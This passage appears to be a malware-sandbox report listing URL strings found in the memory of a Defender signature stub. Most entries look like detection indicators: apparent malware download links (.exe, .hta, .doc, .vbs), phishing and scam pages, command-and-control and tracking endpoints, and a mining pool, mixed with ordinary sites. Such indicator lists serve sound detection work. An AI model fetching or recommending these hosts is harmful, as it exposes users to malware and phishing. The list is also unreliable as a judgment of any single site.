        Source: MpSigStub.exe, 00000023.00000003.18302834450.0000015B1BFE8000.00000004.00000001.sdmpString found in binary or memory: http://lowdeck.net/kt2si/drmlsh.exe
        Source: MpSigStub.exe, 00000023.00000003.18302834450.0000015B1BFE8000.00000004.00000001.sdmpString found in binary or memory: http://lowdeck.net/kt2si/icnsys.exe
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://loygf-99.gq/
        Source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmpString found in binary or memory: http://lrelectronics.in/czffkte/
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://ludnica.uk.to/youtube.xpi
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://luport.com/templates/konkur/language/m
        Source: MpSigStub.exe, 00000023.00000003.18281872533.0000015B1C527000.00000004.00000001.sdmpString found in binary or memory: http://luyitaw.com/okasle.exe
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://lychee22.grey.ero0101.com/set_inf.php?id=ero257.wmv&cid=
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: http://m.mworld.vn/MWorld30/data20.xm?a=getip&g=3&sex=Android
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://mabira.net/traff/controller.php?&ver=8&uid=
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://macr.microfsot.com/noindex.js
        Source: MpSigStub.exe, 00000023.00000003.18334190857.0000015B1A60C000.00000004.00000001.sdmpString found in binary or memory: http://madthumbs.com/archive/
        Source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: http://mahathi2.ondemandcreative.com/24.gif
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://mail.autoshops.online/gbh.exe
        Source: MpSigStub.exe, 00000023.00000003.18317322207.0000015B1B5DB000.00000004.00000001.sdmpString found in binary or memory: http://mail.bg
        Source: RegAsm.exe, 00000008.00000002.21904829624.000000001E502000.00000004.00000001.sdmpString found in binary or memory: http://mail.cselegance.com
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://mail.daum.net/kocl/
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://mail.google.com/mail/
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://mail.madcoffee.com/index.php
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://mail.rambler.ru/mail/mail.cgi?mode=compose
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://mail.vodafone.co.uk/
        Source: MpSigStub.exe, 00000023.00000003.18292431996.0000015B1BA3D000.00000004.00000001.sdmpString found in binary or memory: http://makevalue.com
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://maktoob.yahoo.com/
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://maldonaaloverainc.com/
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpString found in binary or memory: http://malepad.ru:8080/unmount.js
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://malikberry.com/files101/htaanyinwa.hta
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpString found in binary or memory: http://malikberry.com/files101/htamandela.hta
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://malikberry.com/files101/htazeco.hta
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpString found in binary or memory: http://malwarec2domain.com:3550/implant.exe
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpString found in binary or memory: http://malwaredestructor.com/?aid=347
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpString found in binary or memory: http://malwaredestructor.com/download.php?aid=347
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpString found in binary or memory: http://man-u.net/vb/send.php
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://manage1lnk.pw
        Source: MpSigStub.exe, 00000023.00000003.18311861284.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://march262020.club/files/
        Source: MpSigStub.exe, 00000023.00000003.18311861284.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://march262020.com/files/
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://margate-pawn.com?
        Source: MpSigStub.exe, 00000023.00000003.18326506118.0000015B1A705000.00000004.00000001.sdmpString found in binary or memory: http://mariafordnude.com/wp/wp-admin/css/colors/coffee/reportexcelindeed.php
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://maribit.com/count11.php
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://maringareservas.com.br/queda/index.php
        Source: MpSigStub.exe, 00000023.00000003.18342870635.0000015B1AB89000.00000004.00000001.sdmpString found in binary or memory: http://markpolak.com
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: http://masgiO.info/cd/cd.php?id=%s&ver=g
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://mastic52.ivory.ero0101.com/set_inf.php?id=ero257.wmv&sid=
        Source: MpSigStub.exe, 00000023.00000003.18303445859.0000015B1B86F000.00000004.00000001.sdmpString found in binary or memory: http://mastiway.me/wp-includes/
        Source: MpSigStub.exe, 00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmpString found in binary or memory: http://mattagland.co.uk/viky/adobefile/index.htm)
        Source: MpSigStub.exe, 00000023.00000003.18334520035.0000015B1A6C6000.00000004.00000001.sdmpString found in binary or memory: http://max-stats.com
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://mea45.com/tp/download.php?file=ota4nda5nzm4nl9fx19zzxzrzgl6ztjkcy5legu=-o%appdata%
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpString found in binary or memory: http://mealpackage.biz/wp-admin/nbn3x/
        Source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmpString found in binary or memory: http://media.downloadmediacentral.com/law/?decinformation=
        Source: MpSigStub.exe, 00000023.00000003.18346670516.0000015B1AC31000.00000004.00000001.sdmpString found in binary or memory: http://media.licenseacquisition.org/drm_prompt.php
        Source: MpSigStub.exe, 00000023.00000003.18320598062.0000015B1B598000.00000004.00000001.sdmpString found in binary or memory: http://media.vit
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://mediabusnetwork.com/phandler.php?
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpString found in binary or memory: http://mediabusnetwork.com/preconfirm.php?aid=
        Source: MpSigStub.exe, 00000023.00000003.18346670516.0000015B1AC31000.00000004.00000001.sdmpString found in binary or memory: http://mediaprovider.info/law/?decinformation=
        Source: MpSigStub.exe, 00000023.00000003.18330938423.0000015B1AA81000.00000004.00000001.sdmpString found in binary or memory: http://mediastop.zigg.me
        Source: MpSigStub.exe, 00000023.00000003.18330938423.0000015B1AA81000.00000004.00000001.sdmpString found in binary or memory: http://mediazone.uni.me/?id=
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://mega975.com.ar/sales-invoice/
        Source: MpSigStub.exe, 00000023.00000003.18292431996.0000015B1BA3D000.00000004.00000001.sdmpString found in binary or memory: http://megadowl.com/terms-ru.html
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://meganetop.co.jp/imanager/favicon.php
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://meitao886.com/vass/vasss.doc
        Source: MpSigStub.exe, 00000023.00000003.18310002934.0000015B1B40D000.00000004.00000001.sdmpString found in binary or memory: http://mekund.com/mkcxskjd.exe
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://melmat.cf/obago.doc
        Source: MpSigStub.exe, 00000023.00000003.18334190857.0000015B1A60C000.00000004.00000001.sdmpString found in binary or memory: http://members.concealarea.com/
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://members.giftera.org
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpString found in binary or memory: http://members.xoom.com/devsfort/index.html
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpString found in binary or memory: http://members.xoom.com/devsfort/index.htmlg
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://memberservices.passport.net/memberservice.srf
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://metclix.com
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://mexicorxonline.com/glad/imagenes.html?disc=abuse&amp;code=7867213
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://mfjr.info/n2l/tmp/m.vbs
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://michiganpppp.com/work/doc/9.doc
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpString found in binary or memory: http://microhelptech.com/gotoassist/
        Source: MpSigStub.exe, 00000023.00000003.18303365623.0000015B1C05E000.00000004.00000001.sdmpString found in binary or memory: http://microsoft.browser-security-center.com/blocked.php?id=
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://microsoft.erlivia.ltd/jikolo.doc
        Source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: http://microsoftdata.linkpc.net/
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://midfielders.ru/in.cgi?3&group=gdz&seoref=http%3a%2f%2fwww.google.com%2furl%3fsa%3dt%26rct%3dj
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpString found in binary or memory: http://midweekspecials.com/mjrtnfznqsbl/nbsa_
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://millennium-traders.info
        Source: MpSigStub.exe, 00000023.00000003.18333278800.0000015B1AC5E000.00000004.00000001.sdmpString found in binary or memory: http://minetopsforums.ru/new_link3.php?site=
        Source: MpSigStub.exe, 00000023.00000003.18333278800.0000015B1AC5E000.00000004.00000001.sdmpString found in binary or memory: http://minetopsforums.ru/new_link3.php?site=af
        Source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmpString found in binary or memory: http://mining.eligius.st:8337
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://mio98.hk/js_f.php?v=0.0
        Source: MpSigStub.exe, 00000023.00000003.18346670516.0000015B1AC31000.00000004.00000001.sdmpString found in binary or memory: http://misc.wcd.qq.com/app?packageName=pcqqbrowser&channelId=81529
        Source: MpSigStub.exe, 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmpString found in binary or memory: http://missing-codecs.net
        Source: MpSigStub.exe, 00000023.00000003.18349004213.0000015B1A9DB000.00000004.00000001.sdmpString found in binary or memory: http://missing-codecs.org/download/missing_file
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://mitotl.com.mx/ups.com/
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://mixbunch.cn/thread.html
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://mmwrlridbhmibnr.ml/liverpool-fc-news/features/
        Source: MpSigStub.exe, 00000023.00000003.18299634028.0000015B1AF1A000.00000004.00000001.sdmpString found in binary or memory: http://mndyprivatecloudshareandfileprotecthmvb.freeddns.org/receipt/invoice_
        Source: MpSigStub.exe, 00000023.00000003.18339366931.0000015B1C174000.00000004.00000001.sdmpString found in binary or memory: http://mnrr.space/c1.xmlx
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: http://mobilemusicservice.de/43t3f/45y4g.exe
        Source: MpSigStub.exe, 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmpString found in binary or memory: http://mobilepcstarterkit.com/
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: http://modernizr.com
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpString found in binary or memory: http://mods1401z.webcindario.com
        Source: MpSigStub.exe, 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmpString found in binary or memory: http://mog.com/
        Source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmpString found in binary or memory: http://mog.com/a
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://moha-group.ir/nazy/doc/neworder.doc
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://mondaynews.tk/cam/cm.php?v=
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: http://monergismbooks.com/
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: http://monergismbooks.com/modules/reportfedexnew.php
        Source: MpSigStub.exe, 00000023.00000003.18281872533.0000015B1C527000.00000004.00000001.sdmpString found in binary or memory: http://monergismbooks.com/upgrade/reportdhlnew.php
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: http://montiera.com//favicon.ico
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: http://montiera.com//favicon.icoa
        Source: MpSigStub.exe, 00000023.00000003.18293662919.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://mootolola.com/url/YU_ggsetup.html?1218x
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://morris-law-firm.com?
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpString found in binary or memory: http://moscow1.online/proxy/assno.exe
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpString found in binary or memory: http://moscow1.online/proxy/skapoland.exe
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://mosrezerv.ru/ups/
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://moveis-schuster-com.ga/Order.jpg
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpString found in binary or memory: http://moveisterrra.com/gb/add.php
        Source: MpSigStub.exe, 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmpString found in binary or memory: http://movie1-share123vn.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18303772420.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://mp.profittrol.com/
        Source: MpSigStub.exe, 00000023.00000003.18335733371.0000015B1B82C000.00000004.00000001.sdmpString found in binary or memory: http://mp3.baidu.com/
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://mp3.baidu.com/m?tn=
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://mp3.baidu.com/m?tn=baidump3lyric&ct=
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://mp3.zhongsou.com/m?w=%s
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: http://mp3codecdownload.com
        Source: MpSigStub.exe, 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmpString found in binary or memory: http://mp3codecinstall.net/xcdc/installx?id=
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://mrbfile.xyz
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://mrbfile.xyz/sql/syslib.dll
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://mrbftp.xyz
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://mrdcontact.com/purchaseneworder.doc
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: http://msjupdate.com/ff/extensions/update.rdf
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: http://msonlineservers.tk/parcel/dugdhl.php
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpString found in binary or memory: http://muahangvn.blogspot.com
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpString found in binary or memory: http://mudu.rugeh.ru
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpString found in binary or memory: http://musah.info/
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://music.cn.yahoo.com/lyric.html?p=%s
        Source: MpSigStub.exe, 00000023.00000003.18284212320.0000015B1B935000.00000004.00000001.sdmpString found in binary or memory: http://music.emmigo.in/?r=wmp&title=
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://music.soso.com/q?sc=mus&w=%s
        Source: MpSigStub.exe, 00000023.00000003.18284212320.0000015B1B935000.00000004.00000001.sdmpString found in binary or memory: http://music.tfeed.info/?r=wmp&title=
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: http://muzdownload.com
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://my-save-img.ru/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://my-save-img.ru/ip2.php
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://my-speak.eu/csioj.exe
        Source: MpSigStub.exe, 00000023.00000003.18330938423.0000015B1AA81000.00000004.00000001.sdmpString found in binary or memory: http://mybestofferstoday.com/cgi-bin/main.cgi?__rnd__
        Source: MpSigStub.exe, 00000023.00000003.18342184671.0000015B1C358000.00000004.00000001.sdmpString found in binary or memory: http://mydirecttube.com/
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://myip.dnsomatic.com
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpString found in binary or memory: http://myliverpoolnews.cf/liverpool-fc-news/features/
        Source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmpString found in binary or memory: http://myplanet.group/xuxzryvq1/ind.html
        Source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmpString found in binary or memory: http://myredir.net/K_
        Source: MpSigStub.exe, 00000023.00000003.18309335590.0000015B1AFA8000.00000004.00000001.sdmpString found in binary or memory: http://mysearchpage.biz/customizesearch.html
        Source: MpSigStub.exe, 00000023.00000003.18309335590.0000015B1AFA8000.00000004.00000001.sdmpString found in binary or memory: http://mysearchpage.biz/home.html
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://mysibrand.info/e.js
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://mysibrand.info/s.js
        Source: MpSigStub.exe, 00000023.00000003.18330938423.0000015B1AA81000.00000004.00000001.sdmpString found in binary or memory: http://mytube.4l.cl/?id=4&watch=zryxo7
        Source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmpString found in binary or memory: http://mytube.hs.vc/
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://myyobe.biz?
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://myyogaberry.com?
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://n5wo.lolitasexfootube.net/movie.php?id=movies_n01.wmv&sid=
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://n7pv51t.sed.odtllc.net
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://naka4al.ru/tds/go.php?sid=1
        Source: MpSigStub.exe, 00000023.00000003.18331238413.0000015B1AAC2000.00000004.00000001.sdmpString found in binary or memory: http://name.cnnic.
        Source: MpSigStub.exe, 00000023.00000003.18331238413.0000015B1AAC2000.00000004.00000001.sdmpString found in binary or memory: http://name.cnnic.cn/cn.dll
        Source: MpSigStub.exe, 00000023.00000003.18331238413.0000015B1AAC2000.00000004.00000001.sdmpString found in binary or memory: http://name.cnnic.cn/cn.dll?charset=utf-8&name=
        Source: MpSigStub.exe, 00000023.00000003.18331238413.0000015B1AAC2000.00000004.00000001.sdmpString found in binary or memory: http://name.cnnic.cn/cn.dll?pid=
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://nameservicehosting3.in//load.php?spl=javad
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://nation.eromariaporno.net/pc/page/set_reg.php?af_code=&cuid=
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://navigation.iwatchavi.com/
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://navsmart.info
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://ncb.com.pe/media-views/pool=67/frenchclicks/
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://ncccnnnc.cn/img/index.php
        Source: MpSigStub.exe, 00000023.00000003.18299634028.0000015B1AF1A000.00000004.00000001.sdmpString found in binary or memory: http://netmahal.portalsepeti.com/?bd=sc&oem=ntsvc&uid=
        Source: MpSigStub.exe, 00000023.00000003.18334831739.0000015B1A746000.00000004.00000001.sdmpString found in binary or memory: http://network.nocreditcard.com/DialHTML
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://network.nocreditcard.com/DialHTML/OSB/final.php3
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://network.nocreditcard.com/DialHTML/OSB/wait.php3
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpString found in binary or memory: http://networksecurityx.hopto.org
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://nevefe.com/wp-content/themes/calliope/wp-front.php
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://nevergreen.net/456
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://new.beahh.com/startup.php
        Source: MpSigStub.exe, 00000023.00000003.18344475813.0000015B1C1D6000.00000004.00000001.sdmpString found in binary or memory: http://newglobalinternationalsewdifwefkseifodwe.duckdns.org/vbc/document.doc
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: http://news.7654.com/mini_new3
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://newsibrand.info/e.js
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://newsibrand.info/f2/f.js
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://newsibrand.info/s.js
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://newsystemlaunchwithnewmethodforserverfil.duckdns.org/document_v_001241.doc
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://nfinx.info
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://nh4esf33e.from-ia.com/
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: http://nicescroll.areaaperta.com
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://nid-help-pchange.atwebpages.com/home/web/download.php?filename=%s&key=%s
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://nid-help-pchange.atwebpages.com/home/web/post.php
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://nigera21.pansy.ero0101.com/set_inf.php?id=ero257.wmv&sid=
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: http://nimabi7.gnway.cc/seoul/kics/login.html
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpString found in binary or memory: http://nmextensions.com/preconfirm.php?sid=0&aid=0&said=0
        Source: MpSigStub.exe, 00000023.00000003.18326614272.0000015B1A717000.00000004.00000001.sdmpString found in binary or memory: http://no.sinabc.net/abc.exe
        Source: MpSigStub.exe, 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmpString found in binary or memory: http://novacf.org/
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://nq4k.fellatiomovefilehost.net/movie.php?id=movies_n01.wmv&sid=
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpString found in binary or memory: http://ns1.natalnosso.info:8082/windows.pac
